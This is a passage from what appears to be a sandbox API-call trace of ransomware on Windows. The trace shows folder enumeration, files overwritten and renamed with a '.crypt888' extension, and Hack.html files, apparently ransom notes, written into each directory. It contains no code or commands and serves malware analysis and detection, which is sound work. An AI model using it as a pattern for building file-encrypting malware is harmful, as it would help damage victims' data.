[0088.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", lpFilePart=0x0) returned 0x49 [0088.553] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a728 [0088.553] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0088.553] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0088.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0088.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", lpFilePart=0x0) returned 0x52 [0088.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0088.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.554] GetFileType (hFile=0x174) returned 0x1 [0088.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0088.554] GetFileType (hFile=0x174) returned 0x1 [0088.554] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0088.554] ReadFile (in: hFile=0x174, lpBuffer=0x2708bd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2708bd4*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0088.567] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", lpFilePart=0x0) returned 0x52 [0088.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0088.567] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.568] GetFileType (hFile=0x174) returned 0x1 [0088.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0088.568] GetFileType (hFile=0x174) returned 0x1 [0088.569] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", lpFilePart=0x0) returned 0x52 [0088.569] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html.crypt888", lpFilePart=0x0) returned 0x5b [0088.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0088.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb7452c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7452c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5fd48a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0088.569] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html.crypt888")) returned 1 [0088.570] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", lpFilePart=0x0) returned 0x52 [0088.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0088.570] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.570] GetFileType (hFile=0x174) returned 0x1 [0088.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0088.570] GetFileType (hFile=0x174) returned 0x1 [0088.571] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.571] GetFileType (hFile=0x174) returned 0x1 [0088.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.571] GetFileType (hFile=0x174) returned 0x1 [0088.572] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.572] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.572] GetFileType (hFile=0x174) returned 0x1 [0088.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.573] GetFileType (hFile=0x174) returned 0x1 [0088.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.573] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0088.573] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpFilePart=0x0) returned 0x29 [0088.573] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0088.574] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.574] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.574] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0088.574] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\", lpFilePart=0x0) returned 0x29 [0088.575] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0088.575] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.575] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.575] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.575] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.575] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.575] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.575] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", lpFilePart=0x0) returned 0x32 [0088.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.576] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.576] GetFileType (hFile=0x174) returned 0x1 [0088.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.576] GetFileType (hFile=0x174) returned 0x1 [0088.576] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.576] ReadFile (in: hFile=0x174, lpBuffer=0x27615e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27615e0*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.589] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", lpFilePart=0x0) returned 0x32 [0088.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.589] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.590] GetFileType (hFile=0x174) returned 0x1 [0088.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.590] GetFileType (hFile=0x174) returned 0x1 [0088.592] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", lpFilePart=0x0) returned 0x32 [0088.592] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3b [0088.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb76b420, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb76b420, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6020b60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.592] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html.crypt888")) returned 1 [0088.593] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html", lpFilePart=0x0) returned 0x32 [0088.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.593] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.604] GetFileType (hFile=0x174) returned 0x1 [0088.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.604] GetFileType (hFile=0x174) returned 0x1 [0088.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.605] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x29 [0088.605] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x2a [0088.605] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f28 [0088.605] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.605] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.606] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.606] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.606] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x29 [0088.606] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x2a [0088.606] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f28 [0088.606] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.606] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.606] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.606] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.607] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0088.607] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.607] GetFileType (hFile=0x174) returned 0x1 [0088.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0088.607] GetFileType (hFile=0x174) returned 0x1 [0088.607] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.607] ReadFile (in: hFile=0x174, lpBuffer=0x27b4828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27b4828*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.620] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0088.621] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.621] GetFileType (hFile=0x174) returned 0x1 [0088.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0088.622] GetFileType (hFile=0x174) returned 0x1 [0088.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3c [0088.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0088.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb76b420, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb76b420, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc606ce20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0088.623] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html.crypt888")) returned 1 [0088.623] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.623] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.624] GetFileType (hFile=0x174) returned 0x1 [0088.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.624] GetFileType (hFile=0x174) returned 0x1 [0088.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.625] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0088.625] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\", lpFilePart=0x0) returned 0x20 [0088.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0088.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.625] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.626] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.626] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0088.626] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\", lpFilePart=0x0) returned 0x20 [0088.626] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0088.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.626] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.627] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.627] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 